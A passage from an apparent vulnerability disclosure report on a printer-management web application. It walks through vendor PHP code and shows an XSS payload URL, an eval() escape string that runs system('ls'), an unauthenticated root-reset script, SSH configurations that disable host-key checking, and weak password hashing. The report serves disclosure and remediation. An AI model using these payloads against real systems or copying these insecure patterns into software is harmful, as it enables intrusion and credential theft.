<span style="color: #666666">258</span>                 <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #19177C">$str</span>]))
<span style="color: #666666">259</span>                 {
<span style="color: #666666">260</span>                         <span style="color: #19177C">$r</span> <span style="color: #666666">=</span> <span style="color: #19177C">$_GET</span>[<span style="color: #19177C">$str</span>];
<span style="color: #666666">261</span>                         <span style="color: #008000; font-weight: bold">if</span>(quotes_on())
<span style="color: #666666">262</span>                         {
<span style="color: #666666">263</span>                                 <span style="color: #19177C">$r</span> <span style="color: #666666">=</span> <span style="color: #008000">stripslashes</span>(<span style="color: #19177C">$r</span>);
<span style="color: #666666">264</span>                         }
<span style="color: #666666">265</span>                 }
<span style="color: #666666">266</span>                 <span style="color: #008000; font-weight: bold">else</span> <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #008000">isset</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #19177C">$str</span>]))
<span style="color: #666666">267</span>                 {
<span style="color: #666666">268</span>                         <span style="color: #19177C">$r</span> <span style="color: #666666">=</span> <span style="color: #19177C">$_POST</span>[<span style="color: #19177C">$str</span>];
<span style="color: #666666">269</span>                         <span style="color: #008000; font-weight: bold">if</span>(quotes_on())
<span style="color: #666666">270</span>                         {
<span style="color: #666666">271</span>                                 <span style="color: #19177C">$r</span> <span style="color: #666666">=</span> <span style="color: #008000">stripslashes</span>(<span style="color: #19177C">$r</span>);
<span style="color: #666666">272</span>                         }
<span style="color: #666666">273</span>                 }
<span style="color: #666666">274</span>                 <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$r</span>;
<span style="color: #666666">275</span>         }
<span style="color: #666666">276</span> }
</pre></div>

<p>A trivial exploit of a previous XSS is shown below:</p>
<p><img alt="" src="images/2025-vasion-report-1-xss-05.png" />
http://10.105.0.241/admin/query/audit_auditrecords.php?order='XSS</p>
<p><img alt="" src="images/2025-vasion-report-1-xss-06.png" /></p>
<p><a href="images/2025-vasion-report-1-xss-06-full.png">Click here for full image</a></p>
<pre><code>https://[redacted].printercloud10.com/admin/query/audit_auditrecords.php?order=%27%3C/script%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E
</code></pre>
<p><code>/var/www/app/admin/design/reports/chart_image.php</code> is also interesting because it will blindly trust attacker-controlled data (<code>$description</code> and <code>requeststr("title")</code>). It is recommended to correctly escape them:</p>
<p>Content of <code>/var/www/app/admin/design/reports/chart_image.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">50</span> <span style="color: #19177C">$description</span> <span style="color: #666666">=</span> <span style="color: #008000">json_decode</span>(<span style="color: #008000">base64_decode</span>(requeststr(<span style="color: #BA2121">&quot;datasetdescription&quot;</span>)), <span style="color: #008000; font-weight: bold">true</span>);
[<span style="color: #666666">...</span>]
 <span style="color: #666666">82</span>   <span style="color: #19177C">$chart</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">drawScale</span>(<span style="color: #19177C">$data</span>, <span style="color: #19177C">$description</span>, SCALE_NORMAL, <span style="color: #666666">150</span>, <span style="color: #666666">150</span>, <span style="color: #666666">150</span>, <span style="color: #008000; font-weight: bold">true</span>, <span style="color: #666666">45</span>, <span style="color: #666666">0</span>, <span style="color: #008000; font-weight: bold">true</span>);
[<span style="color: #666666">...</span>]
 <span style="color: #666666">84</span>   <span style="color: #19177C">$chart</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">drawLineGraph</span>(<span style="color: #19177C">$data</span>, <span style="color: #19177C">$description</span>);
 <span style="color: #666666">85</span>   <span style="color: #19177C">$chart</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">drawPlotGraph</span>(<span style="color: #19177C">$data</span>, <span style="color: #19177C">$description</span>, <span style="color: #666666">3</span>, <span style="color: #666666">2</span>, <span style="color: #666666">255</span>, <span style="color: #666666">255</span>, <span style="color: #666666">255</span>);
[<span style="color: #666666">...</span>]
 <span style="color: #666666">89</span>   <span style="color: #19177C">$chart</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">drawBasicPieGraph</span>(<span style="color: #19177C">$data</span>, <span style="color: #19177C">$description</span>, <span style="color: #19177C">$width</span> <span style="color: #666666">/</span> <span style="color: #666666">2</span>, <span style="color: #19177C">$height</span> <span style="color: #666666">/</span> <span style="color: #666666">2</span>, <span style="color: #008000">min</span>(<span style="color: #19177C">$width</span>, <span style="color: #19177C">$height</span>) <span style="color: #666666">/</span> <span style="color: #666666">2.6</span>, PIE_PERCENTAGE);
 <span style="color: #666666">90</span>   <span style="color: #19177C">$chart</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">drawPieLegend</span>(<span style="color: #19177C">$width</span> <span style="color: #666666">-</span> <span style="color: #19177C">$legend_width</span> <span style="color: #666666">-</span> <span style="color: #666666">15</span>, <span style="color: #666666">25</span>, <span style="color: #19177C">$data</span>, <span style="color: #19177C">$description</span>, <span style="color: #666666">250</span>, <span style="color: #666666">250</span>, <span style="color: #666666">250</span>);
[<span style="color: #666666">...</span>]
 <span style="color: #666666">97</span>   <span style="color: #19177C">$chart</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">drawScale</span>(
 <span style="color: #666666">98</span>       <span style="color: #19177C">$data</span>, <span style="color: #19177C">$description</span>, SCALE_NORMAL, <span style="color: #666666">150</span>, <span style="color: #666666">150</span>, <span style="color: #666666">150</span>, <span style="color: #008000; font-weight: bold">true</span>, <span style="color: #19177C">$x_axis_label_angle</span>, <span style="color: #666666">0</span>, <span style="color: #008000; font-weight: bold">true</span>);
[<span style="color: #666666">...</span>]
<span style="color: #666666">100</span>   <span style="color: #19177C">$chart</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">drawBarGraph</span>(<span style="color: #19177C">$data</span>, <span style="color: #19177C">$description</span>, <span style="color: #666666">50</span>, <span style="color: #008000; font-weight: bold">true</span>);
<span style="color: #666666">101</span>   <span style="color: #19177C">$chart</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">drawLegend</span>(<span style="color: #19177C">$width</span> <span style="color: #666666">-</span> <span style="color: #19177C">$legend_width</span> <span style="color: #666666">-</span> <span style="color: #666666">30</span>, <span style="color: #666666">45</span>, <span style="color: #19177C">$description</span>, <span style="color: #666666">250</span>, <span style="color: #666666">250</span>, <span style="color: #666666">250</span>);



<span style="color: #19177C">$data</span> also<span style="color: #666666">:</span>
 <span style="color: #666666">49</span> <span style="color: #19177C">$data</span> <span style="color: #666666">=</span> <span style="color: #008000">json_decode</span>(<span style="color: #008000">base64_decode</span>(requeststr(<span style="color: #BA2121">&quot;datasetdata&quot;</span>)), <span style="color: #008000; font-weight: bold">true</span>);
[<span style="color: #666666">...</span>]
 <span style="color: #666666">82</span>   <span style="color: #19177C">$chart</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">drawScale</span>(<span style="color: #19177C">$data</span>, <span style="color: #19177C">$description</span>, SCALE_NORMAL, <span style="color: #666666">150</span>, <span style="color: #666666">150</span>, <span style="color: #666666">150</span>, <span style="color: #008000; font-weight: bold">true</span>, <span style="color: #666666">45</span>, <span style="color: #666666">0</span>, <span style="color: #008000; font-weight: bold">true</span>);
[<span style="color: #666666">...</span>]
 <span style="color: #666666">84</span>   <span style="color: #19177C">$chart</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">drawLineGraph</span>(<span style="color: #19177C">$data</span>, <span style="color: #19177C">$description</span>);
 <span style="color: #666666">85</span>   <span style="color: #19177C">$chart</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">drawPlotGraph</span>(<span style="color: #19177C">$data</span>, <span style="color: #19177C">$description</span>, <span style="color: #666666">3</span>, <span style="color: #666666">2</span>, <span style="color: #666666">255</span>, <span style="color: #666666">255</span>, <span style="color: #666666">255</span>);
[<span style="color: #666666">...</span>]
 <span style="color: #666666">89</span>   <span style="color: #19177C">$chart</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">drawBasicPieGraph</span>(<span style="color: #19177C">$data</span>, <span style="color: #19177C">$description</span>, <span style="color: #19177C">$width</span> <span style="color: #666666">/</span> <span style="color: #666666">2</span>, <span style="color: #19177C">$height</span> <span style="color: #666666">/</span> <span style="color: #666666">2</span>, <span style="color: #008000">min</span>(<span style="color: #19177C">$width</span>, <span style="color: #19177C">$height</span>) <span style="color: #666666">/</span> <span style="color: #666666">2.6</span>, PIE_PERCENTAGE);
 <span style="color: #666666">90</span>   <span style="color: #19177C">$chart</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">drawPieLegend</span>(<span style="color: #19177C">$width</span> <span style="color: #666666">-</span> <span style="color: #19177C">$legend_width</span> <span style="color: #666666">-</span> <span style="color: #666666">15</span>, <span style="color: #666666">25</span>, <span style="color: #19177C">$data</span>, <span style="color: #19177C">$description</span>, <span style="color: #666666">250</span>, <span style="color: #666666">250</span>, <span style="color: #666666">250</span>);
[<span style="color: #666666">...</span>]
 <span style="color: #666666">97</span>   <span style="color: #19177C">$chart</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">drawScale</span>(
 <span style="color: #666666">98</span>       <span style="color: #19177C">$data</span>, <span style="color: #19177C">$description</span>, SCALE_NORMAL, <span style="color: #666666">150</span>, <span style="color: #666666">150</span>, <span style="color: #666666">150</span>, <span style="color: #008000; font-weight: bold">true</span>, <span style="color: #19177C">$x_axis_label_angle</span>, <span style="color: #666666">0</span>, <span style="color: #008000; font-weight: bold">true</span>);
[<span style="color: #666666">...</span>]
<span style="color: #666666">100</span>   <span style="color: #19177C">$chart</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">drawBarGraph</span>(<span style="color: #19177C">$data</span>, <span style="color: #19177C">$description</span>, <span style="color: #666666">50</span>, <span style="color: #008000; font-weight: bold">true</span>);
[<span style="color: #666666">...</span>]
<span style="color: #666666">103</span> <span style="color: #19177C">$chart</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">drawTitle</span>(<span style="color: #666666">60</span>, <span style="color: #666666">22</span>, requeststr(<span style="color: #BA2121">&quot;title&quot;</span>, <span style="color: #BA2121">&quot;&quot;</span>), <span style="color: #666666">50</span>, <span style="color: #666666">50</span>, <span style="color: #666666">50</span>, <span style="color: #19177C">$width</span> <span style="color: #666666">-</span> <span style="color: #666666">100</span>);
</pre></div>

<p>The solution includes a large number of XSS, allowing an attacker to steal administrator's cookies.</p>
<p>I didn't complete analyzing XSS because the numbers of findings were already too big. Consequently, the provided list is not exhaustive.</p>
<p><a id="va-rce-01"></a></p>
<h2>Details - Remote Code Executions using eval() - requires administrator privileges</h2>
<p>The PHP code uses insecure <code>eval()</code> with attacker-controlled data. This allows an attacker with administrator privileges to get Remote Code Execution on the solution.</p>
<p>Content of <code>/var/www/app/admin/design/addip.php</code> - the function <code>ut()</code> will <code>eval()</code> attacker-controlled data.</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">217</span> <span style="color: #666666">&lt;?</span>php
<span style="color: #666666">218</span>    <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">ut</span>(<span style="color: #19177C">$prop</span>) {                                       <span style="color: #408080; font-style: italic">// [1] insecure ut() function</span>
<span style="color: #666666">219</span>           <span style="color: #008000; font-weight: bold">global</span> <span style="color: #19177C">$printer_dao</span>,<span style="color: #19177C">$printer_vo</span>,<span style="color: #19177C">$search_folder</span>;
<span style="color: #666666">220</span>           <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #008000">isset</span>(<span style="color: #19177C">$printer_dao</span>)) {
<span style="color: #666666">221</span>                         <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;&lt;div class=</span><span style="color: #BB6622; font-weight: bold">\&quot;</span><span style="color: #BA2121">ip-current-val</span><span style="color: #BB6622; font-weight: bold">\&quot;</span><span style="color: #BA2121">&gt;&quot;</span>;
<span style="color: #666666">222</span>                         <span style="color: #008000; font-weight: bold">eval</span>(<span style="color: #BA2121">&quot;echo escape_html(&quot;</span><span style="color: #666666">.</span><span style="color: #19177C">$prop</span><span style="color: #666666">.</span><span style="color: #BA2121">&quot;);&quot;</span>); <span style="color: #408080; font-style: italic">// [2] a wild eval() appears!</span>
<span style="color: #666666">223</span>                         <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;&lt;/div&gt;&quot;</span>;
<span style="color: #666666">224</span>           }
<span style="color: #666666">225</span>    }
[<span style="color: #666666">...</span>]
<span style="color: #666666">253</span>                     <span style="color: #666666">&lt;?</span>php ut(<span style="color: #BA2121">&quot;</span><span style="color: #BB6622; font-weight: bold">\$</span><span style="color: #BA2121">printer_vo-&gt;str_title&quot;</span>); <span style="color: #BC7A00">?&gt;</span>   // [3] call to ut() with attacker-controlled data
254                     &lt;/div&gt;
255                     &lt;div class=&quot;form-field&quot;&gt;
256                 &lt;label class=&quot;ff-label&quot; for=&quot;IPAddress&quot;&gt;IP Address or Hostname:&lt;/label&gt;
257                 &lt;br/&gt;&lt;input maxlength=&quot;128&quot; type=&#39;text&#39; id=&#39;IPAddress&#39; name=&#39;IPAddress&#39; class=&quot;full-width-textbox&quot;
258                     value=&quot;<span style="color: #BC7A00">&lt;?php</span> <span style="color: #008000; font-weight: bold">echo</span> escape_attr_html(<span style="color: #19177C">$def_hostaddress</span>); <span style="color: #BC7A00">?&gt;</span>&quot; onKeyDown=&quot;return helper.handle_special_input(event,&#39;add_ip_close&#39;);&quot; /&gt;
259                 <span style="color: #BC7A00">&lt;?php</span> ut(<span style="color: #BA2121">&quot;</span><span style="color: #BB6622; font-weight: bold">\$</span><span style="color: #BA2121">printer_vo-&gt;str_host_address&quot;</span>); <span style="color: #BC7A00">?&gt;</span> // [4] call to ut() with attacker-controlled data
[...]
319                     <span style="color: #BC7A00">&lt;?php</span> ut(<span style="color: #BA2121">&quot;</span><span style="color: #BB6622; font-weight: bold">\$</span><span style="color: #BA2121">printer_vo-&gt;str_comment&quot;</span>); <span style="color: #BC7A00">?&gt;</span>  // [5] call to ut() with attacker-controlled data
[...]
344                     <span style="color: #BC7A00">&lt;?php</span> ut(<span style="color: #BA2121">&quot;</span><span style="color: #BB6622; font-weight: bold">\$</span><span style="color: #BA2121">search_folder&quot;</span>); <span style="color: #BC7A00">?&gt;</span>            // [6] call to ut() with attacker-controlled data
</pre></div>

<p>This code can be escaped with:</p>
<pre><code>$prop = "'a');system('ls');//"
</code></pre>
<p>Exploitation is possible using <code>/var/www/app/admin/index.php</code>. The variables stored in <code>$_SESSION</code> will be used to set the variables <code>$printer_vo-&gt;str_title</code>, <code>$printer_vo-&gt;str_host_address</code>, <code>$printer_vo-&gt;str_comment</code> and <code>$search_folder</code> in <code>/var/www/app/admin/design/addip.php</code>.</p>
<p>Content of <code>/var/www/app/admin/index.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">49</span> <span style="color: #008000; font-weight: bold">if</span>((requestint(<span style="color: #BA2121">&#39;adddirectip&#39;</span>,<span style="color: #666666">0</span>)<span style="color: #666666">==1</span>)<span style="color: #666666">||</span>
 <span style="color: #666666">50</span>   (requestint(<span style="color: #BA2121">&#39;updatedirectip&#39;</span>,<span style="color: #666666">0</span>)<span style="color: #666666">==1</span>))
 <span style="color: #666666">51</span> {
 <span style="color: #666666">52</span>         <span style="color: #666666">@</span><span style="color: #008000">session_start</span>();
 <span style="color: #666666">53</span>         <span style="color: #19177C">$_SESSION</span>[<span style="color: #BA2121">&#39;preserve&#39;</span>][<span style="color: #BA2121">&#39;addip&#39;</span>]<span style="color: #666666">=</span>(requestint(<span style="color: #BA2121">&#39;adddirectip&#39;</span>,<span style="color: #666666">0</span>)<span style="color: #666666">==1</span>)<span style="color: #666666">?1:2</span>;
 <span style="color: #666666">54</span>         <span style="color: #19177C">$_SESSION</span>[<span style="color: #BA2121">&#39;preserve&#39;</span>][<span style="color: #BA2121">&#39;folder&#39;</span>]<span style="color: #666666">=</span>requeststr(<span style="color: #BA2121">&#39;folder&#39;</span>);
 <span style="color: #666666">55</span>         <span style="color: #19177C">$_SESSION</span>[<span style="color: #BA2121">&#39;preserve&#39;</span>][<span style="color: #BA2121">&#39;printername&#39;</span>]<span style="color: #666666">=</span>requeststr(<span style="color: #BA2121">&#39;printername&#39;</span>);
 <span style="color: #666666">56</span>         <span style="color: #19177C">$_SESSION</span>[<span style="color: #BA2121">&#39;preserve&#39;</span>][<span style="color: #BA2121">&#39;hostaddress&#39;</span>]<span style="color: #666666">=</span>requeststr(<span style="color: #BA2121">&#39;hostaddress&#39;</span>);
 <span style="color: #666666">57</span>         <span style="color: #19177C">$_SESSION</span>[<span style="color: #BA2121">&#39;preserve&#39;</span>][<span style="color: #BA2121">&#39;location&#39;</span>]<span style="color: #666666">=</span>requeststr(<span style="color: #BA2121">&#39;location&#39;</span>);
 <span style="color: #666666">58</span>         <span style="color: #19177C">$_SESSION</span>[<span style="color: #BA2121">&#39;preserve&#39;</span>][<span style="color: #BA2121">&#39;comment&#39;</span>]<span style="color: #666666">=</span>requeststr(<span style="color: #BA2121">&#39;comment&#39;</span>);
 <span style="color: #666666">59</span>         <span style="color: #19177C">$_SESSION</span>[<span style="color: #BA2121">&#39;preserve&#39;</span>][<span style="color: #BA2121">&#39;iscolor&#39;</span>]<span style="color: #666666">=</span>requeststr(<span style="color: #BA2121">&#39;iscolor&#39;</span>);
 <span style="color: #666666">60</span>         <span style="color: #19177C">$_SESSION</span>[<span style="color: #BA2121">&#39;preserve&#39;</span>][<span style="color: #BA2121">&#39;new_folder&#39;</span>]<span style="color: #666666">=</span>requeststr(<span style="color: #BA2121">&#39;new_folder&#39;</span>);
 <span style="color: #666666">61</span>         <span style="color: #19177C">$_SESSION</span>[<span style="color: #BA2121">&#39;preserve&#39;</span>][<span style="color: #BA2121">&#39;new_printername&#39;</span>]<span style="color: #666666">=</span>requeststr(<span style="color: #BA2121">&#39;new_printername&#39;</span>);
 <span style="color: #666666">62</span> 
 <span style="color: #666666">63</span>         <span style="color: #666666">@</span><span style="color: #008000">session_write_close</span>();
 <span style="color: #666666">64</span>         <span style="color: #008000">header</span>(<span style="color: #BA2121">&#39;location: &#39;</span><span style="color: #666666">.</span>remove_relative(ABSURL<span style="color: #666666">.</span><span style="color: #BA2121">&quot;admin/&quot;</span>));
 <span style="color: #666666">65</span>         <span style="color: #008000; font-weight: bold">return</span>;
 <span style="color: #666666">66</span> }
</pre></div>

<p>A possible url is: <code>http://10.105.0.241/admin/index.php?updatedirectip=1&amp;folder=NOP&amp;printername=TEST&amp;hostaddress=POC&amp;location=Location&amp;comment=Comment&amp;iscolor=Color&amp;new_folder=new_fold&amp;new_printername=New_name</code>.</p>
<p>I found other calls to <code>eval()</code> but their exploitations are not trivial and will require more time to analyse the execution flow.</p>
<p>An attacker with admin privileges can execute code on the solution.</p>
<p><a id="va-dead-code"></a></p>
<h2>Details - Dangerous PHP dead code</h2>
<p>It was observed that some PHP dead codes exist in the solution.</p>
<p>For example, <code>/web/www/app/resetroot.php</code> inside several Docker instances - including Docker instances executing PHP code - is a PHP script that doesn't check authentication and that will change the password of the mysql root user to <code>password</code>.</p>
<p>On lines 6 to 10, it appears the verification of the IP has been commented.</p>
<p>On lines 15 and 16, the password is redefined to <code>password</code> (<code>sha512("password") = "b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86"</code>).</p>
<p>Content of <code>/var/www/app/resetroot.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 &lt;html&gt;
  2 &lt;head&gt;
  3 &lt;/head&gt;
  4 &lt;body&gt;
  5 <span style="color: #BC7A00">&lt;?php</span>
  <span style="color: #666666">6</span> <span style="color: #408080; font-style: italic">/*if(strpos(&#39;127.0.0.1&#39;,$_SERVER[&#39;HTTP_HOST&#39;])===false) {</span>
<span style="color: #408080; font-style: italic">  7   echo &quot;This page can only be executed from a browser running on the web server, using http://127.0.0.1/&quot;;</span>
<span style="color: #408080; font-style: italic">  8 //  echo $_SERVER[&#39;HTTP_HOST&#39;];</span>
<span style="color: #408080; font-style: italic">  9   die();</span>
<span style="color: #408080; font-style: italic"> 10 }*/</span>
 <span style="color: #666666">11</span> <span style="color: #008000; font-weight: bold">require_once</span>(<span style="color: #BA2121">&quot;global.php&quot;</span>);
 <span style="color: #666666">12</span> <span style="color: #008000; font-weight: bold">require_once</span>(ABSPATH<span style="color: #666666">.</span><span style="color: #BA2121">&quot;lib/dao/dbopen.php&quot;</span>);
 <span style="color: #666666">13</span> <span style="color: #19177C">$dao</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">new</span> data_access();
 <span style="color: #666666">14</span> <span style="color: #19177C">$dao</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">allow_write</span>();
 <span style="color: #666666">15</span> <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #19177C">$dao</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">qry</span>(<span style="color: #BA2121">&quot;UPDATE `ppp_users` SET `username` = &#39;root&#39;,</span>
<span style="color: #BA2121"> 16 my_password = &#39;b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86&#39; WHERE `ppp_users`.`user_type`=1&quot;</span>)) {
 <span style="color: #666666">17</span>   <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;The root account has been reset to &lt;br /&gt;&lt;br /&gt;username: &lt;b&gt;root&lt;/b&gt; &lt;br /&gt;password: &lt;b&gt;password&lt;/b&gt;&quot;</span>;
 <span style="color: #666666">18</span> } <span style="color: #008000; font-weight: bold">else</span> {
 <span style="color: #666666">19</span>   <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;Unable to reset root account: &quot;</span><span style="color: #666666">.</span><span style="color: #19177C">$dao</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">last_error</span>;
 <span style="color: #666666">20</span> }
 <span style="color: #666666">21</span>
 <span style="color: #666666">22</span> <span style="color: #BC7A00">?&gt;</span>
 23 &lt;/body&gt;
 24 &lt;/html&gt;
</pre></div>

<p><code>/var/www/app/lib/common/oses.php</code> is also very interesting:</p>
<p>Content of <code>/var/www/app/lib/common/oses.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
  <span style="color: #666666">3</span>   <span style="color: #408080; font-style: italic">//since we are suffering the overhead of sessions, we may as well used them to cache</span>
  <span style="color: #666666">4</span>   <span style="color: #408080; font-style: italic">//constantly needed data, like the os list</span>
  <span style="color: #666666">5</span>   <span style="color: #408080; font-style: italic">//this also gives a handy way of limiting the visible OSes for the logged in user which</span>
  <span style="color: #666666">6</span>   <span style="color: #408080; font-style: italic">//at some point will be different than the available oses</span>
  <span style="color: #666666">7</span>  <span style="color: #408080; font-style: italic">/* if(isset($_SESSION[&#39;osdata&#39;])) {</span>
<span style="color: #408080; font-style: italic">  8     @self::$oses_max=intval($_SESSION[&#39;osesmax&#39;]);</span>
<span style="color: #408080; font-style: italic">  9     @self::$oses=unserialize($_SESSION[&#39;osdata&#39;]); // [1] &lt;-- !</span>
<span style="color: #408080; font-style: italic"> 10   }*/</span> <span style="color: #408080; font-style: italic">//removed 4/1/2013 from all versions.  It causes too many problems when it does change.  and isn&#39;t really that much benefit</span>
 <span style="color: #666666">11</span>
</pre></div>

<p>This code will unserialize <code>$_SESSION["osdata"]</code> on line 9, resulting in a Remote Code Execution - fortunately, this code has been commented by the vendor.</p>
<p>An attacker that achieves to execute this PHP code will reset the mysql root password to <code>password</code>.</p>
<p><a id="va-insecure-ssh-config"></a></p>
<h2>Details - Insecure SSH configuration</h2>
<p>When analyzing the <code>20.0.1305.gpg</code> update file, it appears some shell scripts inside docker instances will run SSH with insecure options.</p>
<p>Forwarding SSH-Agent without checking the SSH key of the SSH server will allow an attacker to do lateral movements using the private SSH key of the developers:</p>
<p>Content of <code>./out-images/47a0cd7c12483185df274392eff25d238b60ba7589e5081bd8debef0ef9da9ef/opt/bin/stack-cmd.sh</code>:</p>
<pre>
 89 # Now run command
 90 for i in "${IPS[@]}"
 91 do
 92     # Skip blank or "not found"
 93     if [ -z "${i}" ] || [[ ${i} == *"Unable to find"* ]]; then
 94         continue
 95     fi
 96     echo -e "\n...Running on ${i}..."
 97
 98     # if CMD is a script then substitute any env vars locally and execute remotely
 99     if [ -f "${CMD}" ]; then
100         color eval "ssh -o UserKnownHostsFile=/dev/null <font color=red>-o StrictHostKeyChecking=no</font> -o LogLevel=error $i 'bash /dev/stdin' < <(cat "${CMD}" | envsubst)${ASYNC}" || exit 1
101     else
102         # else just execute CMD string on remote host
103         color eval "ssh -o UserKnownHostsFile=/dev/null <font color=red>-o StrictHostKeyChecking=no</font> -o LogLevel=error -n $i 'bash -l -c \"${CMD}\"'${ASYNC}" || exit 1
104     fi
105 done;
</pre>

<p>Content of <code>./out-images/47a0cd7c12483185df274392eff25d238b60ba7589e5081bd8debef0ef9da9ef/opt/includes/ssh.config.developers</code>:</p>
<pre>
kali% cat ./out-images/47a0cd7c12483185df274392eff25d238b60ba7589e5081bd8debef0ef9da9ef/opt/includes/ssh.config.developers
Host 10.*.*.*
    <font color=red>ForwardAgent yes
    StrictHostKeyChecking no
    UserKnownHostsFile /dev/null</font>
Host *.compute.internal
    <font color=red>ForwardAgent yes
    StrictHostKeyChecking no
    UserKnownHostsFile /dev/null</font>
kali%
</pre>

<p>These insecure options appear to be present in several Docker instances:        </p>
<pre>
kali% pwd
/home/user/printerlogic/updates/out/out-images/4ecc6d1307c1c74ddccbdc983b2fe024742ec0531265255b5730dcb5afc0fa52
kalim% rgrep -i strict .
[...]
./opt/includes/ssh.config.developers:    <font color=red>StrictHostKeyChecking no</font>
./opt/includes/ssh.config.developers:    <font color=red>StrictHostKeyChecking no</font>
[...]
./opt/bin/stack-cmd.sh:        color eval "ssh -o UserKnownHostsFile=/dev/null <font color=red>-o StrictHostKeyChecking=no</font> -o LogLevel=error $i 'bash /dev/stdin' < <(cat "${CMD}" | envsubst)${ASYNC}" || exit 1
./opt/bin/stack-cmd.sh:        color eval "ssh -o UserKnownHostsFile=/dev/null <font color=red>-o StrictHostKeyChecking=no</font> -o LogLevel=error -n $i 'bash -l -c \"${CMD}\"'${ASYNC}" || exit 1
</pre>

<p>A developer that will ssh into a compromised solution will get his ssh-agent compromised, allowing an attacker to do lateral movements.</p>
<p>The script will blindly reach SSH servers, without checking their identities.</p>
<p><a id="va-incorrect-encryption-algorithms-password"></a></p>
<h2>Details - Incorrect encryption algorithms used to store passwords</h2>
<p>It was observed that the passwords are encrypted using SHA-512 with a fall-back to SHA-1 (in <code>update_database.php</code> and <code>Login.php</code>):</p>
<p>Content of <code>/var/www/app/admin/query/server_write_requests_users.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">198</span>         <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">strlen</span>(<span style="color: #008000">trim</span>(<span style="color: #19177C">$password</span>)) <span style="color: #666666">!=</span> <span style="color: #666666">0</span>) {
<span style="color: #666666">199</span>             <span style="color: #19177C">$securepass</span> <span style="color: #666666">=</span> <span style="color: #008000">hash</span>(<span style="color: #BA2121">&#39;sha512&#39;</span>, <span style="color: #19177C">$password</span>); <span style="color: #408080; font-style: italic">// [1] use of SHA-512</span>
<span style="color: #666666">200</span>             <span style="color: #19177C">$user_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_my_password</span> <span style="color: #666666">=</span> <span style="color: #19177C">$securepass</span>;
<span style="color: #666666">201</span>         }
<span style="color: #666666">202</span>
</pre></div>

<p>Content of <code>/var/www/app/admin/query/update_database.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">74</span> <span style="color: #19177C">$sha512Password</span> <span style="color: #666666">=</span> <span style="color: #008000">hash</span>(<span style="color: #BA2121">&#39;sha512&#39;</span>, <span style="color: #BA2121">&quot;password&quot;</span>);         <span style="color: #408080; font-style: italic">// [1] use of SHA-512</span>
 <span style="color: #666666">75</span> <span style="color: #19177C">$sha1Password</span> <span style="color: #666666">=</span> <span style="color: #008000">hash</span>(<span style="color: #BA2121">&#39;sha1&#39;</span>, <span style="color: #BA2121">&quot;password&quot;</span>);             <span style="color: #408080; font-style: italic">// [2] use of SHA-1</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">86</span>     <span style="color: #408080; font-style: italic">// Check to make sure the root user has the initial email/password, so that this cant be used to change any users email/password</span>
 <span style="color: #666666">87</span>     <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$user_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_email_address</span> <span style="color: #666666">==</span> <span style="color: #BA2121">&quot;admin&quot;</span> <span style="color: #666666">&amp;&amp;</span>
